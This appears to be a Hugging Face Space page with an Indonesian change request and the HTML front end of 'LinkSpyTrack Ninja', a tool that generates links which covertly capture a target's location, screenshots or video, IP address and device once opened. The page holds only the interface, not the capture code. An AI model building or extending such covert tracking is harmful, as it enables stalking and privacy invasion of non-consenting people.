Spaces:
Running
Running
perbaiki lagi, terdapat folder db yang berisi daftar url dan kode token ,user mendapatkan kode token,saat user ingin melihat hasil lacakan harus memasukan token tersebut untuk mengakses hasil dari link yang sudah digenerate (apabila link yang digenerate tersebut sudah dibuka target dan target berhasil dilacak dan lain lain) lalu terdapat folder track yang merupakan folder root website tersebut
973b60b
verified
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>LinkSpyTrack Ninja - Track Any Link</title> | |
| <link rel="stylesheet" href="style.css"> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script> | |
| <script src="components/navbar.js"></script> | |
| <script src="components/footer.js"></script> | |
| <script src="https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY&libraries=places"></script> | |
| </head> | |
| <body class="bg-gray-50 min-h-screen flex flex-col"> | |
| <custom-navbar></custom-navbar> | |
| <main class="flex-grow container mx-auto px-4 py-8"> | |
| <div class="max-w-4xl mx-auto bg-white rounded-xl shadow-md overflow-hidden p-6"> | |
| <div class="text-center mb-8"> | |
| <h1 class="text-3xl font-bold text-gray-800 mb-2">LinkSpyTrack Ninja</h1> | |
| <p class="text-gray-600">Track any link with stealth precision</p> | |
| </div> | |
| <div class="grid md:grid-cols-2 gap-8"> | |
| <div class="space-y-6"> | |
| <div class="bg-gray-100 p-6 rounded-lg"> | |
| <h2 class="text-xl font-semibold text-gray-800 mb-4">Create Trackable Link</h2> | |
| <form id="trackForm" class="space-y-4"> | |
| <div> | |
| <label for="targetUrl" class="block text-sm font-medium text-gray-700 mb-1">Target URL</label> | |
| <input type="url" id="targetUrl" class="w-full px-4 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500" placeholder="https://example.com" required> | |
| </div> | |
| <div> | |
| <label for="trackingMode" class="block text-sm font-medium text-gray-700 mb-1">Tracking Mode</label> | |
| <select id="trackingMode" class="w-full px-4 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500"> | |
| <option value="basic">Basic (Location Only)</option> | |
| <option value="advanced">Advanced (Location + Screenshot)</option> | |
| <option value="ninja">Ninja Mode (Full Tracking)</option> | |
| </select> | |
| </div> | |
| <button type="submit" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-medium py-2 px-4 rounded-md transition duration-200 flex items-center justify-center"> | |
| <i data-feather="link" class="mr-2"></i> Generate Trackable Link | |
| </button> | |
| </form> | |
| </div> | |
| <div class="bg-gray-100 p-6 rounded-lg"> | |
| <h2 class="text-xl font-semibold text-gray-800 mb-4">Your Tracking Links</h2> | |
| <div id="trackingLinks" class="space-y-2"> | |
| <!-- Tracking links will be populated here --> | |
| </div> | |
| <div class="mt-4 text-center"> | |
| <a href="/track/token.html" class="text-blue-600 hover:underline text-sm">View results by token</a> | |
| </div> | |
| </div> | |
| </div> | |
| <div class="space-y-6"> | |
| <div id="mapContainer" class="bg-gray-100 p-4 rounded-lg h-64"> | |
| <div id="map" class="h-full w-full"></div> | |
| </div> | |
| <div id="mediaContainer" class="bg-gray-100 p-4 rounded-lg hidden"> | |
| <h3 class="font-medium text-gray-800 mb-2">Captured Media</h3> | |
| <div id="screenshotPreview" class="mb-4 hidden"> | |
| <img id="screenshotImg" src="" class="max-w-full rounded border border-gray-300"> | |
| </div> | |
| <div id="videoPreview" class="hidden"> | |
| <video id="trackingVideo" controls class="max-w-full rounded border border-gray-300"></video> | |
| </div> | |
| </div> | |
| <div id="trackingDetails" class="bg-gray-100 p-4 rounded-lg hidden"> | |
| <h3 class="font-medium text-gray-800 mb-2">Tracking Details</h3> | |
| <div id="trackingStats" class="text-sm space-y-1"> | |
| <div><span class="font-medium">IP Address:</span> <span id="ipAddress"></span></div> | |
| <div><span class="font-medium">Device:</span> <span id="deviceInfo"></span></div> | |
| <div><span class="font-medium">Location:</span> <span id="locationInfo"></span></div> | |
| <div><span class="font-medium">Time Opened:</span> <span id="openTime"></span></div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </div> | |
| </main> | |
| <custom-footer></custom-footer> | |
| <script src="script.js"></script> | |
| <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script> | |
| <script> | |
| feather.replace(); | |
| function initMap() { | |
| const map = new google.maps.Map(document.getElementById("map"), { | |
| center: { lat: 0, lng: 0 }, | |
| zoom: 2, | |
| }); | |
| window.map = map; | |
| } | |
| window.initMap = initMap; | |
| </script> | |
| <script src="https://huggingface.co/deepsite/deepsite-badge.js"></script> | |
| </body> | |
| </html> |